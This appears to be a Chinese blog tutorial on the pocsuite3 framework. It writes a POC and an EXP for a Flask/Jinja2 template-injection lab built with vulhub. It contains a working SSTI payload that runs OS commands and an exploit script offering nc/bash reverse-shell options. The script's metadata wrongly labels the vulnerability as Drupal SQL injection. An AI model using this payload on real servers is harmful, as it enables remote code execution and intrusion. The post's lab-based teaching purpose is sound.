Python安全攻防-3渗透测试框架

最近新买了一本关于Python的一本书《Python安全攻防渗透测试实战指南》,这本书出自MS08067安全实验室,才学到第三章,虽然书中有非常多的低级语法错误,但是总体来讲还是值得一学的。
收回我上面说的话,这本书就是垃圾,各种语法错误,官方给的源码连最基本的功能都实现不了!!!!!

Pocsuite框架:

这里书中有对Pocsuite框架有基本的介绍,这里就不重复了,只需要知道这是一款基于漏洞与POC的远程漏洞验证框架即可。

安装:

通过git克隆代码仓库

git clone https://github.com/knownsec/pocsuite3.git

克隆完成后,仓库结构大概是这样的

root@ubuntu:~# tree
.
└── pocsuite3
    ├── CHANGELOG.md
    ├── CONTRIBUTORS.md
    ├── COPYING
    ├── docs
    │   ├── CODING.md
    │   └── USAGE.md
    ├── make.bat
    ├── makefile
    ├── MANIFEST.in
    ├── pocsuite3
    │   ├── api
    │   │   └── __init__.py
    │   ├── cli.py
    │   ├── console.py
    │   ├── data
    │   │   ├── cacert.pem
    │   │   ├── password-top100.txt
    │   │   └── user-agents.txt
    │   ├── __init__.py
    │   ├── lib
    │   │   ├── controller
    │   │   │   ├── controller.py
    │   │   │   └── __init__.py
    │   │   ├── core
    │   │   │   ├── clear.py
    │   │   │   ├── common.py
    │   │   │   ├── convert.py
    │   │   │   ├── data.py
    │   │   │   ├── datatype.py
    │   │   │   ├── decorators.py
    │   │   │   ├── enums.py
    │   │   │   ├── exception.py
    │   │   │   ├── __init__.py
    │   │   │   ├── interpreter_option.py
    │   │   │   ├── interpreter.py
    │   │   │   ├── log.py
    │   │   │   ├── optiondict.py
    │   │   │   ├── option.py
    │   │   │   ├── plugin.py
    │   │   │   ├── poc.py
    │   │   │   ├── readlineng.py
    │   │   │   ├── register.py
    │   │   │   ├── revision.py
    │   │   │   ├── settings.py
    │   │   │   ├── shell.py
    │   │   │   ├── statistics_comparison.py
    │   │   │   ├── threads.py
    │   │   │   └── update.py
    │   │   ├── helper
    │   │   │   ├── archieve
    │   │   │   │   ├── __init__.py
    │   │   │   │   ├── jar.py
    │   │   │   │   ├── memoryzip.py
    │   │   │   │   ├── war.py
    │   │   │   │   └── zip.py
    │   │   │   ├── __init__.py
    │   │   │   └── java
    │   │   │       ├── __init__.py
    │   │   │       └── serialization.py
    │   │   ├── __init__.py
    │   │   ├── parse
    │   │   │   ├── cmd.py
    │   │   │   ├── configfile.py
    │   │   │   ├── __init__.py
    │   │   │   └── url.py
    │   │   ├── request
    │   │   │   ├── __init__.py
    │   │   │   └── patch
    │   │   │       ├── add_httpraw.py
    │   │   │       ├── hook_request.py
    │   │   │       ├── hook_request_redirect.py
    │   │   │       ├── __init__.py
    │   │   │       ├── remove_ssl_verify.py
    │   │   │       └── remove_warnings.py
    │   │   └── utils
    │   │       └── __init__.py
    │   ├── modules
    │   │   ├── censys
    │   │   │   └── __init__.py
    │   │   ├── ceye
    │   │   │   └── __init__.py
    │   │   ├── fofa
    │   │   │   └── __init__.py
    │   │   ├── httpserver
    │   │   │   └── __init__.py
    │   │   ├── __init__.py
    │   │   ├── listener
    │   │   │   ├── bind_tcp.py
    │   │   │   ├── __init__.py
    │   │   │   └── reverse_tcp.py
    │   │   ├── seebug
    │   │   │   └── __init__.py
    │   │   ├── shodan
    │   │   │   └── __init__.py
    │   │   ├── spider
    │   │   │   └── __init__.py
    │   │   └── zoomeye
    │   │       └── __init__.py
    │   ├── plugins
    │   │   ├── file_record.py
    │   │   ├── html_report.py
    │   │   ├── __init__.py
    │   │   ├── poc_from_pocs.py
    │   │   ├── poc_from_redis.py
    │   │   ├── poc_from_seebug.py
    │   │   ├── target_from_censys.py
    │   │   ├── target_from_cidr.py
    │   │   ├── target_from_fofa.py
    │   │   ├── target_from_redis.py
    │   │   ├── target_from_shodan.py
    │   │   └── target_from_zoomeye.py
    │   ├── pocs
    │   │   ├── 20190404_WEB_Confluence_path_traversal.py
    │   │   ├── drupalgeddon2.py
    │   │   ├── ecshop_rce.py
    │   │   ├── ftp_burst.py
    │   │   ├── __init__.py
    │   │   ├── libssh_auth_bypass.py
    │   │   ├── node_red_unauthorized_rce.py
    │   │   ├── redis_unauthorized_access.py
    │   │   ├── ssh_burst.py
    │   │   ├── telnet_burst.py
    │   │   ├── thinkphp_rce2.py
    │   │   ├── thinkphp_rce.py
    │   │   ├── wd_nas_login_bypass_rce.py
    │   │   └── weblogic_cve_2017_10271_unserialization.py
    │   ├── shellcodes
    │   │   ├── base.py
    │   │   ├── data
    │   │   │   ├── java
    │   │   │   │   ├── reverse_tcp
    │   │   │   │   │   └── Payload.class
    │   │   │   │   └── src
    │   │   │   │       └── ReverseTCP
    │   │   │   │           └── Payload.java
    │   │   │   ├── linux
    │   │   │   │   ├── bind_tcp.bin
    │   │   │   │   ├── reverse_tcp.bin
    │   │   │   │   ├── src
    │   │   │   │   │   ├── bind_tcp.asm
    │   │   │   │   │   └── reverse_tcp.asm
    │   │   │   │   └── x64
    │   │   │   │       ├── bind_tcp.bin
    │   │   │   │       ├── reverse_tcp.bin
    │   │   │   │       └── src
    │   │   │   │           ├── bind_tcp.asm
    │   │   │   │           └── reverse_tcp.asm
    │   │   │   └── windows
    │   │   │       ├── bind_tcp.bin
    │   │   │       ├── reverse_tcp.bin
    │   │   │       ├── src
    │   │   │       │   ├── bind_tcp.asm
    │   │   │       │   └── reverse_tcp.asm
    │   │   │       └── x64
    │   │   │           ├── bind_tcp.bin
    │   │   │           ├── reverse_tcp.bin
    │   │   │           └── src
    │   │   │               ├── bind_tcp.asm
    │   │   │               └── reverse_tcp.asm
    │   │   ├── dotnet.py
    │   │   ├── encoder.py
    │   │   ├── generator.py
    │   │   ├── __init__.py
    │   │   ├── java.py
    │   │   ├── php.py
    │   │   ├── python.py
    │   │   └── tools
    │   │       ├── ld64.exe
    │   │       ├── ld.exe
    │   │       ├── ld.gold.exe
    │   │       ├── libwinpthread-1.dll
    │   │       ├── nasm.exe
    │   │       └── objdump.exe
    │   └── thirdparty
    │       ├── ansistrm
    │       │   ├── ansistrm.py
    │       │   └── __init__.py
    │       ├── colorama
    │       │   ├── ansi.py
    │       │   ├── ansitowin32.py
    │       │   ├── initialise.py
    │       │   ├── __init__.py
    │       │   ├── win32.py
    │       │   └── winterm.py
    │       ├── ifcfg
    │       │   └── ifcfg
    │       │       ├── __init__.py
    │       │       ├── parser.py
    │       │       └── tools.py
    │       ├── markup
    │       │   ├── __init__.py
    │       │   └── markup.py
    │       ├── oset
    │       │   ├── __init__.py
    │       │   └── orderedset.py
    │       ├── prettytable
    │       │   ├── __init__.py
    │       │   └── prettytable.py
    │       ├── pysocks
    │       │   ├── __init__.py
    │       │   └── socks.py
    │       └── termcolor
    │           ├── __init__.py
    │           └── termcolor.py
    ├── pocsuite.ini
    ├── README.md
    ├── requirements.txt
    ├── setup.cfg
    ├── setup.py
    ├── test.py
    └── tests
        ├── __init__.py
        ├── login_demo.py
        ├── test_api_diy_options.py
        ├── test_api_get_poc_info.py
        ├── test_cmd_diy_options.py
        ├── test_configfile.py
        ├── test_generate_shellcode_list.py
        ├── test_httpserver.py
        ├── test_import_pocsuite_execute.py
        ├── test_osshell.py
        ├── test_request_raw.py
        ├── test_spier_crawl.py
        └── test_webshell.py

53 directories, 172 files

使用方法:

查看帮助信息:

root@ubuntu:~# cd pocsuite3/pocsuite3/
root@ubuntu:~/pocsuite3/pocsuite3# pwd
/root/pocsuite3/pocsuite3
root@ubuntu:~/pocsuite3/pocsuite3# python3 cli.py --help
Traceback (most recent call last):
  File "cli.py", line 12, in <module>
    from pocsuite3.lib.core.option import init
  File "/root/pocsuite3/pocsuite3/__init__.py", line 10, in <module>
    from .lib.core.common import set_paths
  File "/root/pocsuite3/pocsuite3/lib/core/common.py", line 19, in <module>
    import chardet
ImportError: No module named 'chardet'

当出现以上报错时安装chardet模块即可:

pip3 install chardet

具体使用方法书中已经解释的很清楚了,这里不过多的说了

POC脚本编写

在编写POC脚本之前,我们需要将靶机环境搭建起来。

靶机环境要求

Flask轻量级web应用框架:Python编写,BSD授权,WSGI工具箱采用Werkzeug,模板引擎采用Jinja2

靶机环境搭建

这里我们直接使用Docker搭建即可。

// 安装必要的软件包
sudo apt-get -y install apt-transport-https ca-certificates curl software-properties-common
// 安装docker
curl -sSL https://get.daocloud.io/docker | sh
// 安装docker-compose
curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
// 赋予执行权限
chmod +x /usr/local/bin/docker-compose

克隆靶机配置文件

// 克隆仓库
git clone https://github.com/vulhub/vulhub.git
// 切换到指定目录中
cd vulhub/flask/ssti

因为默认源速度慢到怀疑人生,这里我们使用阿里云源进入/etc/docker/daemon.json(如没有就新建

{
     
        "registry-mirrors": ["https://registry.docker-cn.com","https://nrbewqda.mirror.aliyuncs.com","https://dmmxhzvq.mirror.aliyuncs.com"]
}   

重启docker生效service docker restart

启动漏洞环境:

root@ubuntu:~# docker-compose build	// 编译下载漏洞环境所需的配置
web uses an image, skipping
root@ubuntu:~# docker-compose up -d // 启动漏洞环境
Creating network "ssti_default" with the default driver
Pulling web (vulhub/flask:1.1.1)...
1.1.1: Pulling from vulhub/flask
c7b7d16361e0: Pull complete
b7a128769df1: Pull complete
1128949d0793: Pull complete
667692510b70: Pull complete
bed4ecf88e6a: Pull complete
94d1c1cbf347: Pull complete
ac097723595b: Pull complete
e7028784d190: Pull complete
16fffdb8dec4: Pull complete
20a91e71c5f1: Pull complete
Digest: sha256:20d202d35fe99818878a3f844362210a21894bfab57b8acf23dfa3ade9a87026
Status: Downloaded newer image for vulhub/flask:1.1.1
Creating ssti_web_1 ... done

使用以下命令可以看到已经运行起来了:

root@slow:~/vulhub/flask/ssti# docker-compose ps
   Name                 Command               State           Ports         
----------------------------------------------------------------------------
ssti_web_1   /bin/sh -c gunicorn -w 4 - ...   Up      0.0.0.0:8000->8000/tcp
root@slow:~/vulhub/flask/ssti# docker ps
CONTAINER ID        IMAGE                COMMAND                  CREATED             STATUS              PORTS                    NAMES
cce021a95ecf        vulhub/flask:1.1.1   "/bin/sh -c 'gunicor…"   33 seconds ago      Up 31 seconds       0.0.0.0:8000->8000/tcp   ssti_web_1

使用浏览器访问我们的网站

Python安全攻防-3渗透测试框架_第1张图片

尝试提交参数

在这里插入图片描述

测试注入:

Python安全攻防-3渗透测试框架_第2张图片

POC脚本的编写

这里对于原著删除了没有使用到的代码,并且修改了一些语法错误

# 调用pocsuite的一些API函数
from pocsuite3.api import Output, register_poc, requests, POCBase

# 继承POCBase类
class DemoPOC(POCBase):
    vulID = '1571'          # ssvid ID, 如果是提交漏洞的同时提交PoC,则写出0
    version = "1"           # 版本
    author = "seebug"       # 作者名称
    vulDate = '2014-10-16'  # 漏洞公开时间
    createDate = '2014-10-16'   #编写POC时间
    updateDate = '2014-10-16'   # 更新POC时间
    references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']    #漏洞地址来源,0day不用写
    name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'      # POC名称
    appPowerLink = 'https://www.drupal.org'         # 漏洞厂商的主页地址
    appName = 'Drupal'                              # 漏洞应用名称
    appVersion = '7.x'                              # 漏洞影响版本
    vulType = 'SQL Injection'                       # 漏洞类型
    desc = """
    Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信息泄露
    """         # 漏洞简要描述
    samples = []        # 测试样例,使用POC测试成功的网站
    install_requires = []

    # 定义--verify参数,poc函数
    def _verify(self):
        '''verify mode'''
        result = {
     }
        path = "/?name="
        url = self.url + path
        payload = '{
     {22*22}}'

        # first req
        try:
            resq = requests.get(url + payload)
            print(resq.text)
            # 判断对象,服务器状态码,服务器页面回显是否正确
            if resq and resq.status_code == 200 and '484' in resq.text:
                result['VerifyInfo'] = {
     }
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        # 将服务器信息传入到该函数中
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable.')
        # 返回成功或失败消息
        return output
    
    # 定义--attack参数,attack函数
    def _attack(self):
        return self._verify()
    
# 注册poc
register_poc(DemoPOC)

上面这串代码比较简单,首先继承POCBase类并定义一些POC信息变量:

_verify()函数:检测漏洞(POC)代码块,一般最后返回主机信息,或测试成功后的信息。

_parse_output()函数:这里的作用是检测result变量是否有内容,若有则返回成功消息与输出result内容,没有则返回失败信息。

_attack()函数:攻击实(EXP)战代码块,与POC不同的是对服务器进行目的性或破坏性的行动,这里不多做介绍,下面会用到。

Python安全攻防-3渗透测试框架_第3张图片

EXP脚本编写:

在编写代码之前,我们需要了解一些python内置变量调动的知识:

  • __bases__:以元组返回一个类所直接继承的类。

  • __mor__:以元组返回继承关系链。

  • __class__:返回对象所属的类。

  • __globals__:以字典返回函数所在模块命名空间中的所有变量。

  • __subclasses__():以列表的返回类的子类。

  • __builtins__:内建函数

构建我们代码执行的脚本:

for c in ().__class__.__base__[0].__subclass__():
	if c.__name__=='_IterationGuard':
		c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

再将其语法格式转换为Jinja2:

{% for c in [].__class__.__base__.__subclasses__() %}
 {% if c.__name__=='_IterationGuard'%}
  {
    { c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
 {% endif %}
{% endfor %}

再将其转换为URL编码:

%7b%25+for+c+in+%5b%5d.__class__.__base__.__subclasses__()+%25%7d
+%7b%25+if+c.__name__%3d%3d%27_IterationGuard%27%25%7d
++%7b%7b+c.__init__.__globals__%5b%27__builtins__%27%5d%5b%27eval%27%5d(%22__import__(%27os%27).popen(%27whoami%27).read()%22)+%7d%7d
+%7b%25+endif+%25%7d
%7b%25+endfor+%25%7d

我们可以先尝试下是否能够成功:

Python安全攻防-3渗透测试框架_第4张图片

下面就可以开始编写我们的代码了:

from pocsuite3.api import Output, register_poc, requests, POCBase, REVERSE_PAYLOAD, OptDict
from collections import OrderedDict


class DemoPOC(POCBase):
    vulID = '1571'
    version = "1"
    author = "seebug"
    vulDate = '2014-10-16'
    createDate = '2014-10-16'
    updateDate = '2014-10-16'
    references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']
    name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'
    appPowerLink = 'https://www.drupal.org'
    appName = 'Drupal'
    appVersion = '7.x'
    vulType = 'SQL Injection'
    desc = """
    Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信息泄露
    """
    samples = []
    install_requires = []

    def _verify(self):
        """verify mode"""
        result = {
     }
        path = "/?name="
        url = self.url + path
        payload = "{
     {22*22}}"
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {
     }
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['NAME'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)
	
    # 定义其他选项参数
    def _options(self):
        # 字典排序
        o = OrderedDict()
        payload = {
     
            "nc" : REVERSE_PAYLOAD.NC,
            "bash" : REVERSE_PAYLOAD.BASH,
        }
        # 设置默认值
        o["command"] = OptDict(selected="bash", default=payload)
        return o


    def _attack(self):
        '''attack mode'''
        result = {
     }
        path = "/?name="
        url = self.url + path
        # 接受参数
        cmd = self.get_option("command")
        payload = '''%7b%25+for+c+in+%5b%5d.__class__.__base__.__subclasses__()+%25%7d
+%7b%25+if+c.__name__%3d%3d%27_IterationGuard%27%25%7d
++%7b%7b+c.__init__.__globals__%5b%27__builtins__%27%5d%5b%27eval%27%5d(%22__import__(%27os%27).popen(%27{0}%27).read()%22)+%7d%7d
+%7b%25+endif+%25%7d
%7b%25+endfor+%25%7d'''.format(cmd)
        try:
            resq = requests.get(url + payload)
            t = resq.text
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(' ', '')
            result['VerifyInfo'] = {
     }
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['NAME'] = t
        except Exception as e:
            pass
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("target is not vulnerable")
        return output

register_poc(DemoPOC)

这里比较简单就不做其他的注释了。

最后成功执行命令

Python安全攻防-3渗透测试框架_第5张图片

你可能感兴趣的:(web,python)